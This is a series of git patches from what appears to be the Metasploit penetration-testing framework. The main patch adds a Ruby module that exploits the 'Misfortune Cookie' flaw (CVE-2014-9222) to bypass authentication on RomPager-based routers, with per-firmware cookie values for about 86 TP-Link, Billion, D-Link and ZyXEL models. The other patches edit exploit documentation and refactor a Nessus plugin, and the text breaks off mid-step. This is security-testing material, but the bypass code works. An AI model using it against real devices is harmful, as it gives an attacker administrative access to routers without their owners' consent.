.../modules/exploit/windows/http/ektron_xslt_exec_ws.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md index 9738f89ed2..76f011a013 100644 --- a/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md +++ b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md @@ -25,7 +25,7 @@ **TARGETOP** - There are multiple operations which are vulnerable to this XSLT bug. We have enumerated more (likely all) of the operations in ServerControlWS.asmx and provide testers with the ability to test the additional options by setting this option to one of the following: ContentBlockEx, GetContentFlaggingString,GetMessagingString, GetBookmarkString, GetContentRatingString + There are multiple operations which are vulnerable to this XSLT bug. We have enumerated more (likely all) of the operations in ServerControlWS.asmx and provide testers with the ability to test the additional operations by setting this option to one of the following: ContentBlockEx, GetContentFlaggingString,GetMessagingString, GetBookmarkString, GetContentRatingString This value defaults to ContentBlockEx (from the original reports). Testers may find adjusting this value useful if defenders have included Web Application Firewall (WAF) rules to specifically filter ContentBlockEx as a mitigation in lieu of updating. From c38281706d95462477e36492202a68811bb6c6ea Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Sun, 30 Oct 2016 23:22:09 +0000 Subject: [PATCH 011/426] h00die's suggested changes --- .../modules/exploit/windows/http/ektron_xslt_exec_ws.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md index 76f011a013..7e5d435e46 100644 --- a/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md +++ b/documentation/modules/exploit/windows/http/ektron_xslt_exec_ws.md @@ -1,10 +1,12 @@ ## Vulnerable Application - Ektron Content Management System (CMS) 8.5 and 8.7 before 8.7sp2 and 9.0 before sp1 (according to CVE-2015-0923) + [Ektron Content Management System (CMS)](http://www.episerver.com/cms/ektron/) 8.0, 8.5, and 8.7 before 8.7sp2 and 9.0 before sp1 (according to CVE-2015-0923) + + Ektron has been acquired by Epi Server and finding installers may prove difficult. ## Verification Steps - Ektron has been acquired by another company and finding installers may prove difficult. But if you can build a test network the following may be used to verify: + But if you can build a test network the following may be used to verify: 1. Install the application 2. Start msfconsole @@ -12,7 +14,7 @@ 4. Do: ```set RHOST [target ip]``` 5. Do: ```check``` 6. You should receive a target vulnerable message. - 7. Do: ```run``` + 7. Do: ```exploit``` 8. You should get a shell. In our experience testing against 64 bit hosts should still pass the 'check' in step 6 and return a target vulnerable message. But when injecting shellcode into a new thread it may require the tester to adjust the payload as well. This may be done as follows: From b377cd8fa3b4b6f8a6de91e51dfa0b3b4e4b4690 Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 13 Nov 2016 10:39:26 +0100 Subject: [PATCH 012/426] Allegrosoft rompager auth bypass auxiliary module --- .../http/allegro_rompager_auth_bypass.rb | 293 ++++++++++++++++++ 1 file changed, 293 insertions(+) create mode 100644 modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb diff --git a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb new file mode 100644 index 0000000000..d29d2c602c --- /dev/null +++ b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb @@ -0,0 +1,293 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication bypass", + 'Description' => %q( + This module exploits HTTP servers that appear to be vulnerable to the + 'Misfortune Cookie' vulnerability which affects Allegro Software + Rompager versions before 4.34 and can allow attackers to authenticate + to the HTTP service as an administrator without providing valid + credentials. + ), + 'Author' => [ + 'Jon Hart ', # metasploit scanner module + 'Jan Trencansky ', # metasploit auxiliary admin module + 'Lior Oppenheim' # CVE-2014-9222 + ], + 'References' => [ + ['CVE', '2014-9222'], + ['URL', 'http://mis.fortunecook.ie'], + ['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices + ['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC + ], + 'DisclosureDate' => 'Dec 17 2014', + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'URI to test', '/']), + OptInt.new('device',[true, 'ID of device from list of vulnerable devices']) + ], Exploit::Remote::HttpClient + ) + + register_advanced_options( + [ + #OptString.new('COOKIE_NUMBER',[false, 'Value used in cookie e.g. 107373883']), + #OptInt.new('COOKIE_OFFSET',[false, 'Value of offset in cookie']), + OptString.new('CANARY_URI', [false, 'Try overwriting the requested URI with this canary value (empty for random)']), + OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^40[134]$']) + ], self.class + ) + end + + def headers + { + 'Referer' => full_uri + } + end + + def devices_list + [ + {:name=> 'Azmoon', :model=>'AZ-D140W', :fw=>'2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1', :number=> 107367693, + :offset=> 13}, # 0x803D5A79 # tested + {:name=> 'Billion', :model=>'BiPAC 5102S', :fw=>'Av2.7.0.23 (UE0.B1C)', :number=> 107369694, :offset=> 13}, + # 0x8032204d # ---------- + {:name=> 'Billion', :model=>'BiPAC 5102S', :fw=>'Bv2.7.0.23 (UE0.B1C)', :number=> 107369694, :offset=> 13}, + # 0x8032204d # ---------- + {:name=> 'Billion', :model=>'BiPAC 5200', :fw=>'2.11.84.0(UE2.C2)3.11.11.6', :number=> 107369545, + :offset=> 9}, # 0x803ec2ad # ---------- + {:name=> 'Billion', :model=>'BiPAC 5200', :fw=>'2_11_62_2_ UE0.C2D_3_10_16_0', :number=> 107371218, + :offset=> 21}, # 0x803c53e5 # ---------- + {:name=> 'Billion', :model=>'BiPAC 5200A', :fw=>'2_10_5 _0(RE0.C2)3_6_0_0', :number=> 107366366, + :offset=> 25}, # 0x8038a6e1 # ---------- + {:name=> 'Billion', :model=>'BiPAC 5200A', :fw=>'2_11_38_0 (RE0.C29)3_10_5_0', :number=> 107371453, + :offset=> 9}, # 0x803b3a51 # ---------- + {:name=> 'Billion', :model=>'BiPAC 5200GR4', :fw=>'2.11.91.0(RE2.C29)3.11.11.52', :number=> 107367690, + :offset=> 21}, # 0x803D8A51 # tested + {:name=> 'Billion', :model=>'BiPAC 5200SRD', :fw=>'2.10.5.0 (UE0.C2C) 3.6.0.0', :number=> 107368270, + :offset=> 1}, # 0x8034b109 # ---------- + {:name=> 'Billion', :model=>'BiPAC 5200SRD', :fw=>'2.12.17.0_UE2.C3_3.12.17.0', :number=> 107371378, + :offset=> 37}, # 0x8040587d # ---------- + {:name=> 'Billion', :model=>'BiPAC 5200SRD', :fw=>'2_11_62_2(UE0.C3D)3_11_11_22', :number=> 107371218, + :offset=> 13}, # 0x803c49d5 # ---------- + {:name=> 'D-Link', :model=>'DSL-2520U', :fw=>'Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL', + :number=> 107368902, :offset=> 25}, # 0x803fea01 # tested + {:name=> 'D-Link', :model=>'DSL-2600U', :fw=>'Z1_DSL-2600U', :number=> 107366496, :offset=> 13}, + # 0x8040637d # ---------- + {:name=> 'D-Link', :model=>'DSL-2600U', :fw=>'Z2_V1.08_ras', :number=> 107360133, :offset=> 20}, + # 0x803389B0 # ---------- + {:name=> 'TP-Link', :model=>'TD-8616', :fw=>'V2_080513', :number=> 107371483, :offset=> 21}, + # 0x80397055 # ---------- + {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V4_100528_Russia', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # ---------- + {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V4_100524', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # ---------- + {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V5_100528_Russia', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # ---------- + {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V5_100524', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # tested + {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V5_100903', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # ---------- + {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V6_100907', :number=> 107371426, :offset=> 17}, + # 0x803c6e09 # ---------- + {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V7_111103', :number=> 107371161, :offset=> 1}, + # 0x803e1bd5 # ---------- + {:name=> 'TP-Link', :model=>'TD-8816', :fw=>'V7_130204', :number=> 107370211, :offset=> 5}, + # 0x80400c85 # ---------- + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V5_100524', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # ---------- + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V5_100702_TR', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # ---------- + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V5_100903', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # ---------- + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V6_100907', :number=> 107369788, :offset=> 1}, + # 0x803b6e09 # ---------- + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V6_101221', :number=> 107369788, :offset=> 1}, + # 0x803b6e09 # ---------- + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V7_110826', :number=> 107369522, :offset=> 25}, + # 0x803d1bd5 # ---------- + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V7_130217', :number=> 107369316, :offset=> 21}, + # 0x80407625 # ---------- + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V7_120509', :number=> 107369321, :offset=> 9}, + # 0x803fbcc5 # tested + {:name=> 'TP-Link', :model=>'TD-8817', :fw=>'V8_140311', :number=> 107351277, :offset=> 20}, + # 0x8024E148 # tested + {:name=> 'TP-Link', :model=>'TD-8820', :fw=>'V3_091223', :number=> 107369768, :offset=> 17}, + # 0x80397E69 # tested + {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V1_080520', :number=> 107369845, :offset=> 5}, + # 0x80387055 # ---------- + {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V2_100525', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # tested + {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V2_100702_TR', :number=> 107369790, :offset=> 17}, + # 0x803ae0b1 # ---------- + {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V2_090609', :number=> 107369570, :offset=> 1}, + # 0x803c65d5 # ---------- + {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V3_101208', :number=> 107369766, :offset=> 17}, + # 0x803c3e89 # tested + {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V3_110221', :number=> 107369764, :offset=> 5}, + # 0x803d1a09 # ---------- + {:name=> 'TP-Link', :model=>'TD-8840T', :fw=>'V3_120531', :number=> 107369688, :offset=> 17}, + # 0x803fed35 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V1_090107', :number=> 107367772, :offset=> 37}, + # 0x803bf701 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V1_090107', :number=> 107367808, :offset=> 21}, + # 0x803e5b6d # ---------- + {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V2_100819', :number=> 107367751, :offset=> 21}, + # 0x803dc701 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V2_101015_TR', :number=> 107367749, :offset=> 13}, + # 0x803e1829 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V2_101101', :number=> 107367749, :offset=> 13}, + # 0x803e1829 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V3_110119', :number=> 107367765, :offset=> 25}, + # 0x804bb941 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V3_120213', :number=> 107367052, :offset=> 25}, + # 0x804e1ff9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8101G', :fw=>'V3_120604', :number=> 107365835, :offset=> 1}, + # 0x804f16a9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8151N', :fw=>'V3_120530', :number=> 107353867, :offset=> 24}, + # 0x8034F3A4 # tested + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V1_080522', :number=> 107367787, :offset=> 21}, + # 0x803AB30D # tested + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V1,2_080522', :number=> 107368013, :offset=> 5}, + # 0x803AB30D # ---------- + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V2_090113_Turkish', :number=> 107368013, :offset=> 5}, + # 0x803AB30D # ---------- + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V3_140512', :number=> 107367854, :offset=> 9}, + # 0x803cf335 # tested + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V3_100603', :number=> 107367751, :offset=> 21}, + # 0x803DC701 # tested + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V3_100702_TR', :number=> 107367751, :offset=> 21}, + # 0x803DC701 # tested + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V3_100901', :number=> 107367749, :offset=> 13}, + # 0x803E1829 # tested + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V6_110119', :number=> 107367765, :offset=> 25}, + # 0x804BB941 # tested + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V6_110915', :number=> 107367682, :offset=> 21}, + # 0x804D7CB9 # tested + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V6_120418', :number=> 107365835, :offset=> 1}, + # 0x804F16A9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8901G', :fw=>'V6_120213', :number=> 107367052, :offset=> 25}, + # 0x804E1FF9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8901GB', :fw=>'V3_100727', :number=> 107367756, :offset=> 13}, + # 0x803dfbe9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8901GB', :fw=>'V3_100820', :number=> 107369393, :offset=> 21}, + # 0x803f1719 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8901N', :fw=>'V1_111211', :number=> 107353880, :offset=> 0}, + # 0x8034FF94 # tested + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V1_101124,100723,100728', :number=> 107369839, :offset=> 25}, + # 0x803d2d61 # tested + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V1_110907', :number=> 107369876, :offset=> 13}, + # 0x803d6ef9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V1_111125', :number=> 107369876, :offset=> 13}, + # 0x803d6ef9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V3.0_110729_FI', :number=> 107366743, :offset=> 21}, + # 0x804ef189 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V3_110721', :number=> 107366743, :offset=> 21}, + # 0x804ee049 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V3_20110729_FI', :number=> 107366743, :offset=> 21}, + # 0x804ef189 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V4_120511', :number=> 107364759, :offset=> 25}, + # 0x80523979 # tested + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V4_120607', :number=> 107364759, :offset=> 13}, + # 0x80524A91 # tested + {:name=> 'TP-Link', :model=>'TD-W8951ND', :fw=>'V4_120912_FL', :number=> 107364760, :offset=> 21}, + # 0x80523859 # tested + {:name=> 'TP-Link', :model=>'TD-W8961NB', :fw=>'V1_110107', :number=> 107369844, :offset=> 17}, + # 0x803de3f1 # tested + {:name=> 'TP-Link', :model=>'TD-W8961NB', :fw=>'V1_110519', :number=> 107369844, :offset=> 17}, + # 0x803de3f1 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961NB', :fw=>'V2_120319', :number=> 107367629, :offset=> 21}, + # 0x80531859 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961NB', :fw=>'V2_120823', :number=> 107366421, :offset=> 13}, + # 0x80542e59 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V1_100722,101122', :number=> 107369839, :offset=> 25}, + # 0x803D2D61 # tested + {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V1_101022_TR', :number=> 107369839, :offset=> 25}, + # 0x803D2D61 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V1_111125', :number=> 107369876, :offset=> 13}, + # 0x803D6EF9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V2_120427', :number=> 107364732, :offset=> 25}, + # 0x8052e0e9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V2_120710_UK', :number=> 107364771, :offset=> 37}, + # 0x80523AA9 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V2_120723_FI', :number=> 107364762, :offset=> 29}, + # 0x8052B6B1 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V3_120524,120808', :number=> 107353880, :offset=> 0}, + # 0x803605B4 # ---------- + {:name=> 'TP-Link', :model=>'TD-W8961ND', :fw=>'V3_120830', :number=> 107353414, :offset=> 36}, + # 0x803605B4 # ---------- + {:name=> 'ZyXEL', :model=>'P-660R-T3', :fw=>'3.40(BOQ.0)C0', :number=> 107369567, :offset=> 21}, + # 0x803db071 # tested + {:name=> 'ZyXEL', :model=>'P-660RU-T3', :fw=>'3.40(BJR.0)C0', :number=> 107369567, :offset=> 21} + ] + end + + def auxiliary_commands + { "devices" => "List known vulnerable devices" } + end + + def cmd_devices(*args) + tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "List of vulnerable devices", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => + [ + 'ID', + 'Name', + 'Model', + 'Firmware', + 'Number', + 'Offset' + ]) + counter = 0 + for device in devices_list + tbl << [counter, device[:name], device[:model], device[:fw], device[:number], device[:offset] ] + counter += 1 + end + print tbl.to_s + #print_status("ID\tName") + + #for device in devices_list + # print_status(counter.to_s + ":\t" + device[:name]) + # counter += 1 + #end + end + + def run + cookie = '' + begin + cookie_number = devices_list[datastore['DEVICE']][:number].to_s + cookie_offset = devices_list[datastore['DEVICE']][:offset] + cookie = 'C' + cookie_number + '=' + 'B' * cookie_offset + "\x00" + rescue + print_error('Device number is out of range, please run devices to see list of vulnerable devices') + end + print_status('Device name: ' + devices_list[datastore['DEVICE']][:name]) + print_status('Device model: ' + devices_list[datastore['DEVICE']][:model]) + print_status('Device firmware: ' + devices_list[datastore['DEVICE']][:fw]) + res = send_request_raw( + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'GET', + 'headers' => headers.merge('Cookie' => cookie) + ) + if res != nil and res.code <= 302 # This may give wrong results if run against non rom-pager devices + print_good('Exploit sent, please check host, authentication should be disabled') + else + print_error('Exploit failed') + end + end +end From 3fd3bbdfb6d24753f9265a3e83039549528a3131 Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 13 Nov 2016 23:22:15 +0100 Subject: [PATCH 013/426] Added comments, removed uneccesary code --- .../admin/http/allegro_rompager_auth_bypass.rb | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb index d29d2c602c..3018ecbd6e 100644 --- a/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb +++ b/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.rb @@ -41,15 +41,6 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('device',[true, 'ID of device from list of vulnerable devices']) ], Exploit::Remote::HttpClient ) - - register_advanced_options( - [ - #OptString.new('COOKIE_NUMBER',[false, 'Value used in cookie e.g. 107373883']), - #OptInt.new('COOKIE_OFFSET',[false, 'Value of offset in cookie']), - OptString.new('CANARY_URI', [false, 'Try overwriting the requested URI with this canary value (empty for random)']), - OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^40[134]$']) - ], self.class - ) end def headers @@ -58,6 +49,7 @@ class MetasploitModule < Msf::Auxiliary } end + # List of known values and models, couldn't find better solution how to store them def devices_list [ {:name=> 'Azmoon', :model=>'AZ-D140W', :fw=>'2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1', :number=> 107367693, @@ -238,6 +230,7 @@ class MetasploitModule < Msf::Auxiliary { "devices" => "List known vulnerable devices" } end + # Command for listing all devivces with known values, for bypass to work def cmd_devices(*args) tbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, @@ -259,12 +252,6 @@ class MetasploitModule < Msf::Auxiliary counter += 1 end print tbl.to_s - #print_status("ID\tName") - - #for device in devices_list - # print_status(counter.to_s + ":\t" + device[:name]) - # counter += 1 - #end end def run From ce202cb9b2bbd089f794f4f5c806813f0ce9414d Mon Sep 17 00:00:00 2001 From: Dennis Herrmann Date: Sat, 10 Dec 2016 11:38:30 +0100 Subject: [PATCH 014/426] Fix issue #7434 - nessus_db_scan_workspace: wrong number of arguments --- plugins/nessus.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/plugins/nessus.rb b/plugins/nessus.rb index 885ede095c..b025336132 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -1136,7 +1136,14 @@ module Msf end targets.chop! print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in #{framework.db.workspace.name}") - scan = @n.scan_create(policy_id, name, desc, targets) + et=Hash.new + et['enabled']=false + et['launch']='ONETIME' + et['name']=name + et['text_targets']=targets + et['description']=desc + et['launch_now']=false + scan = @n.scan_create(policy_id, et) if !scan["error"] scan = scan["scan"] print_status("Scan ID #{scan['id']} successfully created") From 8c99a1a00d153cd601beeb146c33db6328177861 Mon Sep 17 00:00:00 2001 From: Dennis Herrmann Date: Tue, 13 Dec 2016 22:36:03 +0100 Subject: [PATCH 015/426] Refactor "et"-Hashmap in nessus.rb --- plugins/nessus.rb | 45 ++++++++++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 21 deletions(-) diff --git a/plugins/nessus.rb b/plugins/nessus.rb index b025336132..748e28fe1a 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -968,13 +968,14 @@ module Msf end if valid_policy(uuid) print_status("Creating scan from policy number #{uuid}, called #{scan_name} - #{description} and scanning #{targets}") - et=Hash.new - et['enabled']=false - et['launch']='ONETIME' - et['name']=scan_name - et['text_targets']=targets - et['description']=description - et['launch_now']=false + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => scan_name, + 'text_targets' => targets, + 'description' => description, + 'launch_now' => false + } scan = @n.scan_create(uuid, et) tbl = Rex::Text::Table.new( 'Columns' => [ @@ -1077,13 +1078,14 @@ module Msf end targets.chop! print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in all the workspaces") - et=Hash.new - et['enabled']=false - et['launch']='ONETIME' - et['name']=name - et['text_targets']=targets - et['description']=desc - et['launch_now']=true + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => name, + 'text_targets' => targets, + 'description' => desc, + 'launch_now' => true + } scan = @n.scan_create(policy_id, et) if !scan["error"] scan = scan["scan"] @@ -1136,13 +1138,14 @@ module Msf end targets.chop! print_status("Creating scan from policy #{policy_id}, called \"#{name}\" and scanning all hosts in #{framework.db.workspace.name}") - et=Hash.new - et['enabled']=false - et['launch']='ONETIME' - et['name']=name - et['text_targets']=targets - et['description']=desc - et['launch_now']=false + et = { + 'enabled' => false, + 'launch' => 'ONETIME', + 'name' => name, + 'text_targets' => targets, + 'description' => desc, + 'launch_now' => false + } scan = @n.scan_create(policy_id, et) if !scan["error"] scan = scan["scan"] From 1609213dc291c15230dcd982b00f679b7e3fb5da Mon Sep 17 00:00:00 2001 From: j91321 Date: Mon, 26 Dec 2016 15:40:08 +0100 Subject: [PATCH 016/426] Add documentation fro module --- .../http/allegro_rompager_auth_bypass.md | 234 ++++++++++++++++++ 1 file changed, 234 insertions(+) create mode 100644 documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md diff --git a/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md new file mode 100644 index 0000000000..364b91e440 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/allegro_rompager_auth_bypass.md @@ -0,0 +1,234 @@ +## Vulnerable devices + +Following is list of devices and firmware versions with known values used for exploitation +0. Azmoon AZ-D140W - 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1 +1. Billion BiPAC 5102S - Av2.7.0.23 (UE0.B1C) +2. Billion BiPAC 5102S - Bv2.7.0.23 (UE0.B1C) +3. Billion BiPAC 5200 - 2.11.84.0(UE2.C2)3.11.11.6 +4. Billion BiPAC 5200 - 2_11_62_2_ UE0.C2D_3_10_16_0 +5. Billion BiPAC 5200A - 2_10_5 _0(RE0.C2)3_6_0_0 +6. Billion BiPAC 5200A - 2_11_38_0 (RE0.C29)3_10_5_0 +7. Billion BiPAC 5200GR4 - 2.11.91.0(RE2.C29)3.11.11.52 +8. Billion BiPAC 5200SRD - 2.10.5.0 (UE0.C2C) 3.6.0.0 +9. Billion BiPAC 5200SRD - 2.12.17.0_UE2.C3_3.12.17.0 +10. Billion BiPAC 5200SRD - 2_11_62_2(UE0.C3D)3_11_11_22 +11. D-Link DSL-2520U - Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL +12. D-Link DSL-2600U - Z1_DSL-2600U +13. D-Link DSL-2600U - Z2_V1.08_ras +14. TP-Link TD-8616 - V2_080513 +15. TP-Link TD-8816 - V4_100528_Russia +16. TP-Link TD-8816 - V4_100524 +17. TP-Link TD-8816 - V5_100528_Russia +18. TP-Link TD-8816 - V5_100524 +19. TP-Link TD-8816 - V5_100903 +20. TP-Link TD-8816 - V6_100907 +21. TP-Link TD-8816 - V7_111103 +22. TP-Link TD-8816 - V7_130204 +23. TP-Link TD-8817 - V5_100524 +24. TP-Link TD-8817 - V5_100702_TR +25. TP-Link TD-8817 - V5_100903 +26. TP-Link TD-8817 - V6_100907 +27. TP-Link TD-8817 - V6_101221 +28. TP-Link TD-8817 - V7_110826 +29. TP-Link TD-8817 - V7_130217 +30. TP-Link TD-8817 - V7_120509 +31. TP-Link TD-8817 - V8_140311 +32. TP-Link TD-8820 - V3_091223 +33. TP-Link TD-8840T - V1_080520 +34. TP-Link TD-8840T - V2_100525 +35. TP-Link TD-8840T - V2_100702_TR +36. TP-Link TD-8840T - V2_090609 +37. TP-Link TD-8840T - V3_101208 +38. TP-Link TD-8840T - V3_110221 +39. TP-Link TD-8840T - V3_120531 +40. TP-Link TD-W8101G - V1_090107 +41. TP-Link TD-W8101G - V1_090107 +42. TP-Link TD-W8101G - V2_100819 +43. TP-Link TD-W8101G - V2_101015_TR +44. TP-Link TD-W8101G - V2_101101 +45. TP-Link TD-W8101G - V3_110119 +46. TP-Link TD-W8101G - V3_120213 +47. TP-Link TD-W8101G - V3_120604 +48. TP-Link TD-W8151N - V3_120530 +49. TP-Link TD-W8901G - V1_080522 +50. TP-Link TD-W8901G - V1,2_080522 +51. TP-Link TD-W8901G - V2_090113_Turkish +52. TP-Link TD-W8901G - V3_140512 +53. TP-Link TD-W8901G - V3_100603 +54. TP-Link TD-W8901G - V3_100702_TR +55. TP-Link TD-W8901G - V3_100901 +56. TP-Link TD-W8901G - V6_110119 +57. TP-Link TD-W8901G - V6_110915 +58. TP-Link TD-W8901G - V6_120418 +59. TP-Link TD-W8901G - V6_120213 +60. TP-Link TD-W8901GB - V3_100727 +61. TP-Link TD-W8901GB - V3_100820 +62. TP-Link TD-W8901N - V1_111211 +63. TP-Link TD-W8951ND - V1_101124,100723,100728 +64. TP-Link TD-W8951ND - V1_110907 +65. TP-Link TD-W8951ND - V1_111125 +66. TP-Link TD-W8951ND - V3.0_110729_FI +67. TP-Link TD-W8951ND - V3_110721 +68. TP-Link TD-W8951ND - V3_20110729_FI +69. TP-Link TD-W8951ND - V4_120511 +70. TP-Link TD-W8951ND - V4_120607 +71. TP-Link TD-W8951ND - V4_120912_FL +72. TP-Link TD-W8961NB - V1_110107 +73. TP-Link TD-W8961NB - V1_110519 +74. TP-Link TD-W8961NB - V2_120319 +75. TP-Link TD-W8961NB - V2_120823 +76. TP-Link TD-W8961ND - V1_100722,101122 +77. TP-Link TD-W8961ND - V1_101022_TR +78. TP-Link TD-W8961ND - V1_111125 +79. TP-Link TD-W8961ND - V2_120427 +80. TP-Link TD-W8961ND - V2_120710_UK +81. TP-Link TD-W8961ND - V2_120723_FI +82. TP-Link TD-W8961ND - V3_120524,120808 +83. TP-Link TD-W8961ND - V3_120830 +84. ZyXEL P-660R-T3 - 3.40(BOQ.0)C0 +85. ZyXEL P-660RU-T3 - 3.40(BJR.0)C0 + +## Verification Steps + + 1. Start msfconsole + 2. Do: ```use auxiliary/admin/http/allegro_rompager_auth_bypass``` + 3. Do: ```set rhost ``` + 4. Do: ```set 